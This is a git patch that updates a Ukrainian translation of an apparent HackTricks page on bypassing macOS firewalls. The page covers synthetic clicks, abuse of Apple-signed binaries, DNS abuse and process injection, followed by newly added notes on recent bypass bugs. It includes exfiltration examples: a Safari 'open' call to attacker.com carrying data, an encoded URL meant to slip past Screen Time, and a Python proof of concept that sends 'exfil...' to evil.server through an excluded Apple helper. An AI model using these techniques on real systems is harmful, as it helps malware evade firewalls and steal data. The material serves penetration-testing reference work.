From be6410a10f134e0c24c6f210720fa0822d2f5cf1 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 5 Aug 2025 00:18:09 +0000 Subject: [PATCH] Translated ['src/macos-hardening/macos-security-and-privilege-escalation --- .../macos-bypassing-firewalls.md | 66 +++++++++++++++++-- 1 file changed, 59 insertions(+), 7 deletions(-) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md index e35d8567e..e5f927283 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md @@ -1,10 +1,10 @@ -# macOS обхід брандмауерів +# macOS Bypassing Firewalls {{#include ../../banners/hacktricks-training.md}} ## Знайдені техніки -Наступні техніки були виявлені як працюючі в деяких додатках брандмауера macOS. +Наступні техніки були виявлені як працюючі в деяких програмах брандмауера macOS. ### Зловживання іменами у білому списку @@ -12,9 +12,9 @@ ### Синтетичний клік -- Якщо брандмауер запитує дозволу у користувача, змусьте шкідливе ПЗ **натиснути на дозволити** +- Якщо брандмауер запитує дозвіл у користувача, змусьте шкідливе ПЗ **натиснути на дозволити** -### **Використання підписаних Apple бінарників** +### **Використовуйте підписані Apple бінарні файли** - Як **`curl`**, але також інші, такі як **`whois`** @@ -28,13 +28,13 @@ ### Перевірка дозволеного трафіку -Знання дозволеного трафіку допоможе вам виявити потенційно включені в білий список домени або які програми мають доступ до них. +Знання дозволеного трафіку допоможе вам визначити потенційно включені в білий список домени або які програми мають доступ до них. ```bash lsof -i TCP -sTCP:ESTABLISHED ``` ### Зловживання DNS -DNS-резолюції виконуються через **`mdnsreponder`** підписаний додаток, який, ймовірно, буде дозволено контактувати з DNS-серверами. +DNS-резолюції виконуються через **`mdnsreponder`** підписаний додаток, який, ймовірно, буде дозволено для зв'язку з DNS-серверами.
https://www.youtube.com/watch?v=UlT5KFTMn2k
@@ -63,14 +63,66 @@ open -j -a Safari "https://attacker.com?data=data%20to%20exfil" ``` ### Через ін'єкції процесів -Якщо ви можете **ін'єктувати код у процес**, який має право підключатися до будь-якого сервера, ви можете обійти захист брандмауера: +Якщо ви можете **впровадити код у процес**, який має право підключатися до будь-якого сервера, ви можете обійти захист брандмауера: {{#ref}} macos-proces-abuse/ {{#endref}} +--- + +## Недавні вразливості обходу брандмауера macOS (2023-2025) + +### Обхід фільтра веб-контенту (Час екрану) – **CVE-2024-44206** +У липні 2024 року Apple виправила критичну помилку в Safari/WebKit, яка зламала системний “Фільтр веб-контенту”, що використовується батьківським контролем Часу екрану. Спеціально підготовлений URI (наприклад, з подвоєним URL-кодованим “://”) не розпізнається ACL Часу екрану, але приймається WebKit, тому запит надсилається без фільтрації. Будь-який процес, який може відкрити URL (включаючи пісочницю або непідписаний код), може таким чином досягати доменів, які явно заблоковані користувачем або профілем MDM. + +Практичний тест (непоправлена система): +```bash +open "http://attacker%2Ecom%2F./" # should be blocked by Screen Time +# if the patch is missing Safari will happily load the page +``` +### Помилка порядку правил фільтрації пакетів (PF) в ранніх версіях macOS 14 “Sonoma” +Під час бета-циклу macOS 14 Apple ввела регресію в обгортку користувацького простору навколо **`pfctl`**. +Правила, які були додані з ключовим словом `quick` (використовуються багатьма VPN kill-switchами), були тихо проігноровані, що призвело до витоків трафіку, навіть коли GUI VPN/фаєрвола повідомляв *заблоковано*. Помилка була підтверджена кількома постачальниками VPN і виправлена в RC 2 (збірка 23A344). + +Швидка перевірка витоків: +```bash +pfctl -sr | grep quick # rules are present… +sudo tcpdump -n -i en0 not port 53 # …but packets still leave the interface +``` +### Зловживання службами допомоги, підписаними Apple (старі версії – до macOS 11.2) +Перед macOS 11.2 **`ContentFilterExclusionList`** дозволяв ~50 бінарних файлів Apple, таких як **`nsurlsessiond`** та App Store, обходити всі фаєрволи з фільтрацією сокетів, реалізовані за допомогою фреймворку Network Extension (LuLu, Little Snitch тощо). +Шкідливе ПЗ могло просто запустити виключений процес — або впровадити в нього код — і тунелювати свій трафік через вже дозволений сокет. Apple повністю видалила список виключень у macOS 11.2, але техніка все ще актуальна на системах, які не можуть бути оновлені. + +Приклад доказу концепції (до 11.2): +```python +import subprocess, socket +# Launch excluded App Store helper (path collapsed for clarity) +subprocess.Popen(['/System/Applications/App\\ Store.app/Contents/MacOS/App Store']) +# Connect through the inherited socket +s = socket.create_connection(("evil.server", 443)) +s.send(b"exfil...") +``` +--- + +## Поради щодо інструментів для сучасного macOS + +1. Перевірте поточні правила PF, які генерують графічні брандмауери: +```bash +sudo pfctl -a com.apple/250.ApplicationFirewall -sr +``` +2. Перерахуйте бінарні файли, які вже мають право *outgoing-network* (корисно для підключення): +```bash +codesign -d --entitlements :- /path/to/bin 2>/dev/null \ +| plutil -extract com.apple.security.network.client xml1 -o - - +``` +3. Програмно зареєструйте свій власний фільтр контенту мережевого розширення в Objective-C/Swift. +Мінімальний безкореневий PoC, який пересилає пакети на локальний сокет, доступний у вихідному коді **LuLu** Патрика Уордела. + ## Посилання - [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k) +- +- {{#include ../../banners/hacktricks-training.md}}